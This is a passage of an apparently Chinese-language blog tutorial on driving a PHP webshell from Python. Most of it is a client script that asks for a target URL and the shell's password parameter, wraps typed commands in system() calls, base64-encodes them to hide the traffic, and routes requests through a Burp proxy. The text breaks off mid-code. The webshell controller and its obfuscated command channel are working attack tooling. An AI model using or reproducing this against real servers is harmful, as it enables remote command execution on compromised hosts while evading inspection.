Python连接PHP木马，并加密传输数据

前面写过两篇，但写的不多。

使用python连接JSP一句话木马
使用burpsuite对python的post请求进行抓包

今天想起来，于是整合一下，再搞个加密。

base64

先是在 Linux 虚拟机里面写个 “两句话木马”。

对传参进行一个 base64 解码，这就意味着在 Windows 本机上要进行一个 base64 编码。

import requests
import base64


url = input('目标URL:')      # http://192.168.xxx.xxx/shell.php
pwd = input('连接密码:')      # 其实就是一句话木马中的变量shell

# 用于 burpsuite抓包
proxy = {
   
    'http': '127.0.0.1:8080',
    'https': '127.0.0.1:8080'
}

while(True):
    cmd = input('输入执行的命令：')
    send = "system(\'" + cmd + "\');"
    connect = base64.b64encode(send.encode('utf-8'))
    # 将命令传给一句话木马
    payloads = {
   
        pwd